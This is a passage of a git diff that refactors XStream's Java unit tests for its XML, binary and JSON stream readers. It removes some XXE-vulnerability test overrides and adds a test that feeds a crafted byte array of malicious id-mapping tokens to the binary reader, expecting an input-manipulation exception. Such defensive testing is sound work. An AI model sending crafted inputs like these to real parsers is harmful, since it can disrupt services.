IOException { - ByteArrayInputStream in = new ByteArrayInputStream("\n".getBytes("us-ascii")); - XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in); - assertEquals(1.0, reader.getVersion(), 0.001); - assertEquals(new InputStreamReader(in, "utf-8").getEncoding(), reader.getEncoding()); + final ByteArrayInputStream in = new ByteArrayInputStream("\n".getBytes("us-ascii")); + try (XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in)) { + assertEquals(1.0, reader.getVersion(), 0.001); + assertEquals(new InputStreamReader(in, "utf-8").getEncoding(), reader.getEncoding()); + } } public void testEvaluatesVersion() throws IOException { - ByteArrayInputStream in = new ByteArrayInputStream("\n".getBytes("us-ascii")); - XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in); - assertEquals(1.1, reader.getVersion(), 0.001); + final ByteArrayInputStream in = new ByteArrayInputStream("\n".getBytes( + "us-ascii")); + try (XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in)) { + assertEquals(1.1, reader.getVersion(), 0.001); + } } public void testEvaluatesEncoding() throws IOException { - ByteArrayInputStream in = new ByteArrayInputStream("".getBytes("us-ascii")); - XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in); - assertEquals(new InputStreamReader(in, "iso-8859-15").getEncoding(), reader.getEncoding()); + final ByteArrayInputStream in = new ByteArrayInputStream("".getBytes( + "us-ascii")); + try (XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in)) { + assertEquals(new InputStreamReader(in, "iso-8859-15").getEncoding(), reader.getEncoding()); + } } public void testValueEscaping() throws IOException { - ByteArrayInputStream in = new ByteArrayInputStream("".getBytes("us-ascii")); - XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in); - assertEquals(1.1, reader.getVersion(), 0.001); + final ByteArrayInputStream in = new ByteArrayInputStream("".getBytes("us-ascii")); + try (XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in)) { + assertEquals(1.1, reader.getVersion(), 0.001); + } } - + public void testCanHandleImproperSizedPushbackInputStream() throws IOException { - InputStream in = new ByteArrayInputStream("".getBytes("us-ascii")); - XmlHeaderAwareReader reader = new XmlHeaderAwareReader(new PushbackInputStream(in, 1)); - assertEquals(1.1, reader.getVersion(), 0.001); + final InputStream in = new ByteArrayInputStream("".getBytes("us-ascii")); + try (XmlHeaderAwareReader reader = new XmlHeaderAwareReader(new PushbackInputStream(in, 1))) { + assertEquals(1.1, reader.getVersion(), 0.001); + } } public void testSkipsUtf8BOM() throws IOException { - byte[] bytes = "".getBytes("us-ascii"); - byte[] inBytes = new byte[bytes.length+3]; + final byte[] bytes = "".getBytes("us-ascii"); + final byte[] inBytes = new byte[bytes.length + 3]; inBytes[0] = (byte)0xEF; inBytes[1] = (byte)0xBB; inBytes[2] = (byte)0xBF; System.arraycopy(bytes, 0, inBytes, 3, bytes.length); - ByteArrayInputStream in = new ByteArrayInputStream(bytes); - XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in); - assertEquals(new InputStreamReader(in, "utf-8").getEncoding(), reader.getEncoding()); + final ByteArrayInputStream in = new ByteArrayInputStream(bytes); + try (XmlHeaderAwareReader reader = new XmlHeaderAwareReader(in)) { + assertEquals(new InputStreamReader(in, "utf-8").getEncoding(), reader.getEncoding()); + } } } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/DriverEndToEndTestSuite.java b/xstream/src/test/com/thoughtworks/xstream/io/DriverEndToEndTestSuite.java index fc0b36ef6..bcf4409dc 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/DriverEndToEndTestSuite.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/DriverEndToEndTestSuite.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2016, 2018, 2019, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -29,6 +29,9 @@ import com.thoughtworks.xstream.io.xml.JDomDriver; import com.thoughtworks.xstream.io.xml.KXml2DomDriver; import com.thoughtworks.xstream.io.xml.KXml2Driver; +import com.thoughtworks.xstream.io.xml.MXParserDomDriver; +import com.thoughtworks.xstream.io.xml.MXParserDriver; +import com.thoughtworks.xstream.io.xml.SimpleStaxDriver; import com.thoughtworks.xstream.io.xml.StandardStaxDriver; import com.thoughtworks.xstream.io.xml.StaxDriver; import com.thoughtworks.xstream.io.xml.WstxDriver; @@ -62,8 +65,11 @@ public DriverEndToEndTestSuite() { addDriverTest(new KXml2Driver()); addDriverTest(new StaxDriver()); addDriverTest(new StandardStaxDriver()); + addDriverTest(new SimpleStaxDriver()); addDriverTest(new WstxDriver()); addDriverTest(new XomDriver()); + addDriverTest(new MXParserDomDriver()); + addDriverTest(new MXParserDriver()); addDriverTest(new Xpp3DomDriver()); addDriverTest(new Xpp3Driver()); addDriverTest(new XppDomDriver()); @@ -79,16 +85,15 @@ private void testObject(final HierarchicalStreamDriver driver) { @Override public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { - final ExtendedHierarchicalStreamReader exReader = (ExtendedHierarchicalStreamReader)reader; - if (exReader.peekNextChild() == null) { - return new ArrayList(); + if (reader.peekNextChild() == null) { + return new ArrayList<>(); } return super.unmarshal(reader, context); } }); - final SampleLists in = new SampleLists(); + final SampleLists in = new SampleLists<>(); in.good.add("one"); in.good.add("two"); in.good.add("three"); diff --git a/xstream/src/test/com/thoughtworks/xstream/io/StatefulWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/StatefulWriterTest.java index 716765f1f..71a734eae 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/StatefulWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/StatefulWriterTest.java @@ -1,22 +1,22 @@ /* - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 15. March 2006 by Joerg Schaible */ package com.thoughtworks.xstream.io; +import java.io.IOException; +import java.io.StringWriter; + import com.thoughtworks.xstream.io.xml.CompactWriter; import junit.framework.TestCase; -import java.io.IOException; -import java.io.StringWriter; - /** * @author Jörg Schaible @@ -26,6 +26,8 @@ public class StatefulWriterTest extends TestCase { private StatefulWriter writer; private StringWriter stringWriter; + @SuppressWarnings("resource") + @Override protected void setUp() throws Exception { super.setUp(); stringWriter = new StringWriter(); @@ -51,7 +53,7 @@ public void testKeepsBlance() { assertTrue(e.getCause() instanceof IllegalStateException); } } - + public void testCanOnlyWriteAttributesToOpenNode() { try { writer.addAttribute("test", "true"); @@ -87,7 +89,7 @@ public void testCanWriteAttributesOnlyOnce() { } writer.endNode(); } - + public void testCanWriteValueOnlyToOpenNode() { try { writer.setValue("test"); @@ -104,7 +106,7 @@ public void testCanWriteValueOnlyToOpenNode() { assertTrue(e.getCause() instanceof IllegalStateException); } } - + public void testCannotOpenNodeInValue() { writer.startNode("junit"); writer.setValue("test"); @@ -115,7 +117,7 @@ public void testCannotOpenNodeInValue() { assertTrue(e.getCause() instanceof IllegalStateException); } } - + public void testCanCloseInFinally() { try { writer.endNode(); @@ -124,7 +126,7 @@ public void testCanCloseInFinally() { writer.close(); } } - + public void testCannotWriteAfterClose() { writer.close(); try { @@ -158,12 +160,12 @@ public void testCannotWriteAfterClose() { assertTrue(e.getCause() instanceof IOException); } } - + public void testCanCloseTwice() { writer.close(); writer.close(); } - + public void testCaresAboutNestingLevelWritingAttributes() { writer.startNode("junit"); writer.addAttribute("test", "true"); diff --git a/xstream/src/test/com/thoughtworks/xstream/io/binary/BinaryStreamTest.java b/xstream/src/test/com/thoughtworks/xstream/io/binary/BinaryStreamTest.java index 11a15fa38..6e167186c 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/binary/BinaryStreamTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/binary/BinaryStreamTest.java @@ -1,93 +1,99 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2015, 2016, 2018, 2019, 2021, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 04. June 2006 by Joe Walnes */ package com.thoughtworks.xstream.io.binary; -import com.thoughtworks.xstream.XStreamException; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.io.StringReader; + import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.copy.HierarchicalStreamCopier; -import com.thoughtworks.xstream.io.xml.AbstractXMLReaderTest; -import com.thoughtworks.xstream.io.xml.Xpp3Driver; +import com.thoughtworks.xstream.io.xml.AbstractReaderTest; +import com.thoughtworks.xstream.io.xml.MXParserDriver; +import com.thoughtworks.xstream.security.InputManipulationException; -import java.io.ByteArrayOutputStream; -import java.io.StringReader; -import java.io.ByteArrayInputStream; -public class BinaryStreamTest extends AbstractXMLReaderTest { +public class BinaryStreamTest extends AbstractReaderTest { - private HierarchicalStreamCopier copier = new HierarchicalStreamCopier(); + private final HierarchicalStreamCopier copier = new HierarchicalStreamCopier(); + @Override protected void setUp() throws Exception { super.setUp(); } // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { + @SuppressWarnings("resource") + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { // Transmogrify XML input into binary format. - HierarchicalStreamReader xmlReader = - new Xpp3Driver().createReader(new StringReader(xml)); + final HierarchicalStreamReader xmlReader = new MXParserDriver().createReader(new StringReader(xml)); - ByteArrayOutputStream buffer = new ByteArrayOutputStream(); - HierarchicalStreamWriter binaryWriter = new BinaryStreamWriter(buffer); + final ByteArrayOutputStream buffer = new ByteArrayOutputStream(); + final HierarchicalStreamWriter binaryWriter = new BinaryStreamWriter(buffer); copier.copy(xmlReader, binaryWriter); return new BinaryStreamReader(new ByteArrayInputStream(buffer.toByteArray())); } public void testHandlesMoreThan256Ids() { - int count = 500; + final int count = 500; - ByteArrayOutputStream buffer = new ByteArrayOutputStream(); - HierarchicalStreamWriter binaryWriter = new BinaryStreamWriter(buffer); - binaryWriter.startNode("root"); - for (int i = 0; i < count; i++) { - binaryWriter.startNode("node" + i); - binaryWriter.endNode(); - } - for (int i = 0; i < count; i++) { - binaryWriter.startNode("node" + i); + final ByteArrayOutputStream buffer = new ByteArrayOutputStream(); + try (final HierarchicalStreamWriter binaryWriter = new BinaryStreamWriter(buffer)) { + binaryWriter.startNode("root"); + for (int i = 0; i < count; i++) { + binaryWriter.startNode("node" + i); + binaryWriter.endNode(); + } + for (int i = 0; i < count; i++) { + binaryWriter.startNode("node" + i); + binaryWriter.endNode(); + } binaryWriter.endNode(); } - binaryWriter.endNode(); - HierarchicalStreamReader binaryReader - = new BinaryStreamReader(new ByteArrayInputStream(buffer.toByteArray())); - assertEquals("root", binaryReader.getNodeName()); - for (int i = 0; i < count; i++) { - assertTrue("Expected child " + i, binaryReader.hasMoreChildren()); - binaryReader.moveDown(); - assertEquals("node" + i, binaryReader.getNodeName()); - binaryReader.moveUp(); - } - for (int i = 0; i < count; i++) { - assertTrue("Expected child " + i, binaryReader.hasMoreChildren()); - binaryReader.moveDown(); - assertEquals("node" + i, binaryReader.getNodeName()); - binaryReader.moveUp(); + try (final HierarchicalStreamReader binaryReader = new BinaryStreamReader(new ByteArrayInputStream(buffer + .toByteArray()))) { + assertEquals("root", binaryReader.getNodeName()); + for (int i = 0; i < count; i++) { + assertTrue("Expected child " + i, binaryReader.hasMoreChildren()); + binaryReader.moveDown(); + assertEquals("node" + i, binaryReader.getNodeName()); + binaryReader.moveUp(); + } + for (int i = 0; i < count; i++) { + assertTrue("Expected child " + i, binaryReader.hasMoreChildren()); + binaryReader.moveDown(); + assertEquals("node" + i, binaryReader.getNodeName()); + binaryReader.moveUp(); + } } - } - @Override - public void testIsXXEVulnerableWithExternalGeneralEntity() throws Exception { + @SuppressWarnings("resource") + public void testHandleMaliciousInputsOfIdMappingTokens() { + // Insert two successive id mapping tokens into the stream + final byte[] byteArray = new byte[8]; + byteArray[0] = byteArray[4] = 10; + byteArray[1] = byteArray[5] = -127; + + final InputStream in = new ByteArrayInputStream(byteArray); try { - super.testIsXXEVulnerableWithExternalGeneralEntity(); - fail("Thrown " + XStreamException.class.getName() + " expected"); - } catch (final XStreamException e) { - final String message = e.getCause().getMessage(); - if (!message.contains("resolve entity")) { - throw e; - } + new BinaryStreamReader(in); + fail("Thrown " + InputManipulationException.class.getName() + " expected"); + } catch (final InputManipulationException e) { } } - } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/binary/TokenTest.java b/xstream/src/test/com/thoughtworks/xstream/io/binary/TokenTest.java index a47964a5f..b50bf8c59 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/binary/TokenTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/binary/TokenTest.java @@ -1,18 +1,16 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 04. June 2006 by Joe Walnes */ package com.thoughtworks.xstream.io.binary; -import junit.framework.TestCase; - import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataInputStream; @@ -20,12 +18,16 @@ import java.io.DataOutputStream; import java.io.IOException; +import junit.framework.TestCase; + + public class TokenTest extends TestCase { private Token.Formatter tokenFormatter; private ByteArrayOutputStream buffer; private DataOutput out; + @Override protected void setUp() throws Exception { super.setUp(); tokenFormatter = new Token.Formatter(); @@ -34,65 +36,65 @@ protected void setUp() throws Exception { } public void testDoesNotSupportNegativeIds() { - Token.StartNode token = new Token.StartNode(-5); + final Token.StartNode token = new Token.StartNode(-5); try { writeOneToken(token); fail("Expected exception"); - } catch (IOException expectedException) { + } catch (final IOException expectedException) { // expected exception } } public void testUsesOneExtraByteForIdsThatCanBeRepresentedAsByte() throws IOException { - Token.StartNode token = new Token.StartNode(255); + final Token.StartNode token = new Token.StartNode(255); writeOneToken(token); assertEquals(2, buffer.size()); // One byte already written for token type. assertEquals(token, readOneToken()); } public void testUsesTwoExtraBytesForIdsThatCanBeRepresentedAsShort() throws IOException { - Token.StartNode token = new Token.StartNode(30000); + final Token.StartNode token = new Token.StartNode(30000); writeOneToken(token); assertEquals(3, buffer.size()); // One byte already written for token type. assertEquals(token, readOneToken()); } public void testUsesFourExtraBytesForIdsThatCanBeRepresentedAsShort() throws IOException { - Token.StartNode token = new Token.StartNode(Integer.MAX_VALUE); + final Token.StartNode token = new Token.StartNode(Integer.MAX_VALUE); writeOneToken(token); assertEquals(5, buffer.size()); // One byte already written for token type. assertEquals(token, readOneToken()); } public void testUsesEightExtraBytesForIdsThatCanBeRepresentedAsLong() throws IOException { - Token.StartNode token = new Token.StartNode(324234325543L); + final Token.StartNode token = new Token.StartNode(324234325543L); writeOneToken(token); assertEquals(9, buffer.size()); // One byte already written for token type. assertEquals(token, readOneToken()); } - + public void testUsesOneExtraByteForUtf8StringsWith1ByteCharacters() throws IOException { - Token.Value token = new Token.Value("12345"); + final Token.Value token = new Token.Value("12345"); writeOneToken(token); assertEquals(8, buffer.size()); // One byte already written for token type and two for the length. assertEquals(token, readOneToken()); } - + public void testUsesOneExtraByteForUtf8StringsWith2ByteCharacters() throws IOException { - Token.Value token = new Token.Value("\u0391\u03b8\u03ae\u03bd\u03b1"); // Athens + final Token.Value token = new Token.Value("\u0391\u03b8\u03ae\u03bd\u03b1"); // Athens writeOneToken(token); assertEquals(13, buffer.size()); // One byte already written for token type and two for the length. assertEquals(token, readOneToken()); } - + public void testUsesIdForStringsWithMoreThen64KBytes() throws IOException { - StringBuffer builder = new StringBuffer(); - for(int i = 0; i++ < 8000;) { + final StringBuffer builder = new StringBuffer(); + for (int i = 0; i++ < 8000;) { builder.append("\u0391\u03b8\u03ae\u03bd\u03b1"); // Athens } - String string = builder.toString(); + final String string = builder.toString(); assertEquals(40000, string.length()); // 5 chars, but each char 2 bytes in UTF-8 - Token.Value token = new Token.Value(string); + final Token.Value token = new Token.Value(string); writeOneToken(token); assertEquals(80014, buffer.size()); // > 65k assertEquals(token, readOneToken()); @@ -102,7 +104,7 @@ private Token readOneToken() throws IOException { return tokenFormatter.read(new DataInputStream(new ByteArrayInputStream(buffer.toByteArray()))); } - private void writeOneToken(Token token) throws IOException { + private void writeOneToken(final Token token) throws IOException { tokenFormatter.write(out, token); } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/copy/HierarchicalStreamCopierTest.java b/xstream/src/test/com/thoughtworks/xstream/io/copy/HierarchicalStreamCopierTest.java index 8c67fb73f..b15773f71 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/copy/HierarchicalStreamCopierTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/copy/HierarchicalStreamCopierTest.java @@ -1,44 +1,45 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2015, 2016, 2018, 2019, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 04. June 2006 by Joe Walnes */ package com.thoughtworks.xstream.io.copy; -import com.thoughtworks.xstream.XStreamException; +import java.io.StringReader; +import java.io.StringWriter; + +import org.xmlpull.v1.XmlPullParserException; + import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; -import com.thoughtworks.xstream.io.xml.AbstractXMLReaderTest; +import com.thoughtworks.xstream.io.xml.AbstractReaderTest; import com.thoughtworks.xstream.io.xml.CompactWriter; -import com.thoughtworks.xstream.io.xml.Xpp3Driver; +import com.thoughtworks.xstream.io.xml.MXParserDriver; import com.thoughtworks.xstream.io.xml.XppReader; import com.thoughtworks.xstream.io.xml.xppdom.XppFactory; -import org.xmlpull.v1.XmlPullParserException; - -import java.io.StringReader; -import java.io.StringWriter; -public class HierarchicalStreamCopierTest extends AbstractXMLReaderTest { +public class HierarchicalStreamCopierTest extends AbstractReaderTest { - private HierarchicalStreamCopier copier = new HierarchicalStreamCopier(); + private final HierarchicalStreamCopier copier = new HierarchicalStreamCopier(); // This test leverages the existing (comprehensive) tests for the XML readers // and adds an additional stage of copying in. // factory method - overriding base class. - protected HierarchicalStreamReader createReader(String xml) throws Exception { - HierarchicalStreamReader sourceReader = - new Xpp3Driver().createReader(new StringReader(xml)); + @SuppressWarnings("resource") + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { + final HierarchicalStreamReader sourceReader = new MXParserDriver().createReader(new StringReader(xml)); - StringWriter buffer = new StringWriter(); - HierarchicalStreamWriter destinationWriter = new CompactWriter(buffer); + final StringWriter buffer = new StringWriter(); + final HierarchicalStreamWriter destinationWriter = new CompactWriter(buffer); copier.copy(sourceReader, destinationWriter); @@ -46,30 +47,15 @@ protected HierarchicalStreamReader createReader(String xml) throws Exception { } public void testSkipsValueIfEmpty() throws XmlPullParserException { - String input = "blah"; - String expected = "blah"; - HierarchicalStreamReader sourceReader = new XppReader( - new StringReader(input), XppFactory.createDefaultParser()); - - StringWriter buffer = new StringWriter(); - HierarchicalStreamWriter destinationWriter = new CompactWriter(buffer); + final String input = "blah"; + final String expected = "blah"; + final StringWriter buffer = new StringWriter(); + try (final HierarchicalStreamReader sourceReader = new XppReader(new StringReader(input), XppFactory + .createDefaultParser()); final HierarchicalStreamWriter destinationWriter = new CompactWriter(buffer)) { - copier.copy(sourceReader, destinationWriter); + copier.copy(sourceReader, destinationWriter); + } assertEquals(expected, buffer.toString()); } - - @Override - public void testIsXXEVulnerableWithExternalGeneralEntity() throws Exception { - try { - super.testIsXXEVulnerableWithExternalGeneralEntity(); - fail("Thrown " + XStreamException.class.getName() + " expected"); - } catch (final XStreamException e) { - final String message = e.getCause().getMessage(); - if (!message.contains("resolve entity")) { - throw e; - } - } - } - } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriverTest.java b/xstream/src/test/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriverTest.java index d49022159..7d5097a21 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriverTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriverTest.java @@ -1,28 +1,15 @@ /* - * Copyright (C) 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2016, 2017 XStream Committers. + * Copyright (C) 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2016, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. April 2007 by Joerg Schaible */ package com.thoughtworks.xstream.io.json; -import com.thoughtworks.acceptance.AbstractAcceptanceTest; -import com.thoughtworks.acceptance.objects.Category; -import com.thoughtworks.acceptance.objects.OwnerOfExternalizable; -import com.thoughtworks.acceptance.objects.Product; -import com.thoughtworks.acceptance.objects.SomethingExternalizable; -import com.thoughtworks.acceptance.objects.StandardObject; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.testutil.TimeZoneChanger; - -import junit.framework.TestCase; - -import org.codehaus.jettison.mapped.Configuration; - import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; @@ -35,93 +22,102 @@ import java.util.Date; import java.util.Properties; +import org.codehaus.jettison.mapped.Configuration; + +import com.thoughtworks.acceptance.AbstractAcceptanceTest; +import com.thoughtworks.acceptance.objects.Category; +import com.thoughtworks.acceptance.objects.OwnerOfExternalizable; +import com.thoughtworks.acceptance.objects.Product; +import com.thoughtworks.acceptance.objects.SomethingExternalizable; +import com.thoughtworks.acceptance.objects.StandardObject; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.testutil.TimeZoneChanger; + +import junit.framework.TestCase; + /** * Testing serialization to and from JSON with Jettison driver. - * + * * @author Dejan Bosanac */ public class JettisonMappedXmlDriverTest extends TestCase { - private final static String SIMPLE = "{'product':{'name':'Banana','id':123,'price':23}}" - .replace('\'', '"'); - private final static String HIERARCHY = "{'category':{'name':'fruit','id':111,'products':[{'product':[{'name':'Banana','id':123,'price':23.01,'tags':[{'string':['yellow','fresh','tasty']}]},{'name':'Mango','id':124,'price':34.01}]}]}}" - .replace('\'', '"'); + private final static String SIMPLE = "{'product':{'name':'Banana','id':123,'price':23}}".replace('\'', '"'); + private final static String HIERARCHY = + "{'category':{'name':'fruit','id':111,'products':[{'product':[{'name':'Banana','id':123,'price':23.01,'tags':[{'string':['yellow','fresh','tasty']}]},{'name':'Mango','id':124,'price':34.01}]}]}}" + .replace('\'', '"'); private XStream xstream; - /** - * @see junit.framework.TestCase#setUp() - */ + @Override protected void setUp() throws Exception { super.setUp(); TimeZoneChanger.change("UTC"); xstream = new XStream(new JettisonMappedXmlDriver()); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); + xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName() + ".*objects.**"); + xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); xstream.alias("category", Category.class); xstream.alias("product", Product.class); } + @Override protected void tearDown() throws Exception { TimeZoneChanger.reset(); super.tearDown(); } public void testReadSimple() { - Product product = (Product)xstream.fromXML(SIMPLE); + final Product product = (Product)xstream.fromXML(SIMPLE); assertEquals(product.getName(), "Banana"); assertEquals(product.getId(), "123"); assertEquals("" + product.getPrice(), "" + 23.00); } public void testWriteSimple() { - Product product = new Product("Banana", "123", 23.00); - String result = xstream.toXML(product); + final Product product = new Product("Banana", "123", 23.00); + final String result = xstream.toXML(product); assertEquals(SIMPLE, result); } public void testJettisonConfigured() - throws ClassNotFoundException, InstantiationException, IllegalAccessException, - NoSuchMethodException, InvocationTargetException { - Object typeConverter = Class.class.forName( - "org.codehaus.jettison.mapped.SimpleConverter").newInstance(); - Method setTypeConverter = Configuration.class.getMethod( - "setTypeConverter", new Class[]{typeConverter.getClass().getInterfaces()[0]}); - Configuration config = new Configuration(); + throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, + InvocationTargetException { + final Object typeConverter = Class.forName("org.codehaus.jettison.mapped.SimpleConverter").newInstance(); + final Method setTypeConverter = Configuration.class.getMethod("setTypeConverter", new Class[]{ + typeConverter.getClass().getInterfaces()[0]}); + final Configuration config = new Configuration(); setTypeConverter.invoke(config, new Object[]{typeConverter}); xstream = new XStream(new JettisonMappedXmlDriver(config)); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); + xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName() + ".*objects.**"); + xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); xstream.alias("product", Product.class); - Product product = new Product("Banana", "123", 23.00); - String result = xstream.toXML(product); - assertEquals( - "{'product':{'name':'Banana','id':'123','price':'23.0'}}".replace('\'', '"'), - result); + final Product product = new Product("Banana", "123", 23.00); + final String result = xstream.toXML(product); + assertEquals("{'product':{'name':'Banana','id':'123','price':'23.0'}}".replace('\'', '"'), result); assertEquals(product, xstream.fromXML(result)); } public void testWriteHierarchy() { - Category category = new Category("fruit", "111"); - ArrayList products = new ArrayList(); - Product banana = new Product("Banana", "123", 23.01); - ArrayList bananaTags = new ArrayList(); + final Category category = new Category("fruit", "111"); + final ArrayList products = new ArrayList(); + final Product banana = new Product("Banana", "123", 23.01); + final ArrayList bananaTags = new ArrayList(); bananaTags.add("yellow"); bananaTags.add("fresh"); bananaTags.add("tasty"); banana.setTags(bananaTags); products.add(banana); - Product mango = new Product("Mango", "124", 34.01); + final Product mango = new Product("Mango", "124", 34.01); products.add(mango); category.setProducts(products); - String result = xstream.toXML(category); + final String result = xstream.toXML(category); assertEquals(HIERARCHY, result); } public void testHierarchyRead() { - Category parsedCategory = (Category)xstream.fromXML(HIERARCHY); - Product parsedBanana = (Product)parsedCategory.getProducts().get(0); + final Category parsedCategory = xstream.>fromXML(HIERARCHY); + final Product parsedBanana = parsedCategory.getProducts().get(0); assertEquals("Banana", parsedBanana.getName()); assertEquals(3, parsedBanana.getTags().size()); assertEquals("yellow", parsedBanana.getTags().get(0)); @@ -129,23 +125,23 @@ public void testHierarchyRead() { } public void testObjectStream() throws IOException, ClassNotFoundException { - Product product = new Product("Banana", "123", 23.00); - StringWriter writer = new StringWriter(); - ObjectOutputStream oos = xstream.createObjectOutputStream(writer, "oos"); + final Product product = new Product("Banana", "123", 23.00); + final StringWriter writer = new StringWriter(); + final ObjectOutputStream oos = xstream.createObjectOutputStream(writer, "oos"); oos.writeObject(product); oos.close(); - String json = writer.toString(); + final String json = writer.toString(); assertEquals("{\"oos\":" + SIMPLE + "}", json); - ObjectInputStream ois = xstream.createObjectInputStream(new StringReader(json)); - Product parsedProduct = (Product)ois.readObject(); - assertEquals(product.toString(), parsedProduct.toString()); + try (final ObjectInputStream ois = xstream.createObjectInputStream(new StringReader(json))) { + final Product parsedProduct = (Product)ois.readObject(); + assertEquals(product.toString(), parsedProduct.toString()); + } } public void testDoesHandleQuotesAndEscapes() { - String[] strings = new String[]{ - "last\"", "\"first", "\"between\"", "around \"\" it", "back\\slash", - "forward/slash"}; - String expected = ("" + final String[] strings = new String[]{ + "last\"", "\"first", "\"between\"", "around \"\" it", "back\\slash", "forward/slash"}; + final String expected = ("" + "{#string-array#:[{#string#:[" + "#last\\\"#," + "#\\\"first#," @@ -157,168 +153,180 @@ public void testDoesHandleQuotesAndEscapes() { } public void testDoesEscapeValuesAccordingRfc4627() { - String expected = "{'string':'\\u0000\\u0001\\u001f \uffee'}".replace('\'', '"'); + final String expected = "{'string':'\\u0000\\u0001\\u001f \uffee'}".replace('\'', '"'); assertEquals(expected, xstream.toXML("\u0000\u0001\u001f\u0020\uffee")); } - public void testSingletonListWithSimpleObject() { - ArrayList list1 = new ArrayList(); + public void testListWithOneSimpleObject() { + final ArrayList list1 = new ArrayList(); list1.add("one"); - String json = xstream.toXML(list1); + final String json = xstream.toXML(list1); assertEquals("{'list':[{'string':'one'}]}".replace('\'', '"'), json); - ArrayList list2 = (ArrayList)xstream.fromXML(json); + final ArrayList list2 = xstream.>fromXML(json); assertEquals(json, xstream.toXML(list2)); } public void testListWithSimpleObjects() { - ArrayList list1 = new ArrayList(); + final ArrayList list1 = new ArrayList(); list1.add("one"); list1.add("two"); list1.add("three"); - String json = xstream.toXML(list1); + final String json = xstream.toXML(list1); assertEquals("{'list':[{'string':['one','two','three']}]}".replace('\'', '"'), json); - ArrayList list2 = (ArrayList)xstream.fromXML(json); + final ArrayList list2 = xstream.>fromXML(json); + assertEquals(json, xstream.toXML(list2)); + } + + public void testListWithDifferentSimpleObjects() { + final ArrayList list1 = new ArrayList(); + list1.add("one"); + list1.add(Integer.valueOf(2)); + list1.add(Float.valueOf(3.3f)); + final String json = xstream.toXML(list1); + assertEquals("{'list':[{'string':'one','int':2,'float':3.3}]}".replace('\'', '"'), json); + final ArrayList list2 = xstream.>fromXML(json); assertEquals(json, xstream.toXML(list2)); } public void testSingletonListWithComplexObject() { - Product product = new Product("Banana", "123", 23.00); - ArrayList list1 = new 